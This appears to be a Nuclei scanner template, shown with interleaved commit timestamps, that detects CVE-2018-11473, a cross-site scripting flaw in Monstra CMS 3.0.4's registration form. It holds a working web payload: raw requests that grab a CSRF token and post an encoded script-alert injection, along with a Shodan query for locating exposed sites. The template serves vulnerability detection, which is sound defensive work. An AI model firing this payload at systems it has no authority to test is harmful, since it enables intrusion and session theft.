2023-01-09 05:47:56 +00:00
id : CVE-2018-11473
info :
2023-01-30 20:55:41 +00:00
name : Monstra CMS 3.0.4 - Cross-Site Scripting
2023-01-09 05:47:56 +00:00
author : ritikchaddha
severity : medium
description : |
2023-01-30 20:55:41 +00:00
Monstra CMS 3.0.4 contains a cross-site scripting vulnerability via the registration form (i.e., the login parameter to users/registration). An attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
2023-01-09 05:47:56 +00:00
reference :
- https://github.com/monstra-cms/monstra/issues/446
2023-01-10 10:35:04 +00:00
- https://github.com/nikhil1232/Monstra-CMS-3.0.4-XSS-ON-Registration-Page
2023-01-30 20:55:41 +00:00
- https://nvd.nist.gov/vuln/detail/CVE-2018-11473
2023-01-09 05:47:56 +00:00
classification :
2023-01-10 10:35:04 +00:00
cvss-metrics : CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score : 6.1
2023-01-09 05:47:56 +00:00
cve-id : CVE-2018-11473
2023-01-10 10:35:04 +00:00
cwe-id : CWE-79
2023-01-09 05:47:56 +00:00
metadata :
2023-04-28 08:11:21 +00:00
max-request : 2
2023-01-10 09:42:05 +00:00
shodan-query : http.favicon.hash:419828698
2023-06-04 08:13:42 +00:00
verified : true
2023-01-09 05:47:56 +00:00
tags : cve,cve2018,xss,mostra,mostracms,cms
2023-04-27 04:28:59 +00:00
http :
2023-01-09 05:47:56 +00:00
- raw :
- |
GET /users/registration HTTP/1.1
Host : {{Hostname}}
- |
POST /users/registration HTTP/1.1
Host : {{Hostname}}
Content-Type : application/x-www-form-urlencoded
csrf={{csrf}}&login=test&password=%22%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E&email=teest%40gmail.com&answer=test®ister=Register
cookie-reuse : true
matchers-condition : and
matchers :
- type : word
part : body
words :
- "><script>alert(document.domain)</script>"
- "Monstra"
condition : and
case-insensitive : true
- type : word
part : header
words :
- "text/html"
- type : status
status :
- 200
extractors :
- type : regex
name : csrf
part : body
group : 1
regex :
- 'id="csrf" name="csrf" value="(.*)">'
internal : true
2023-01-30 20:55:41 +00:00
# Enhanced by md on 2023/01/30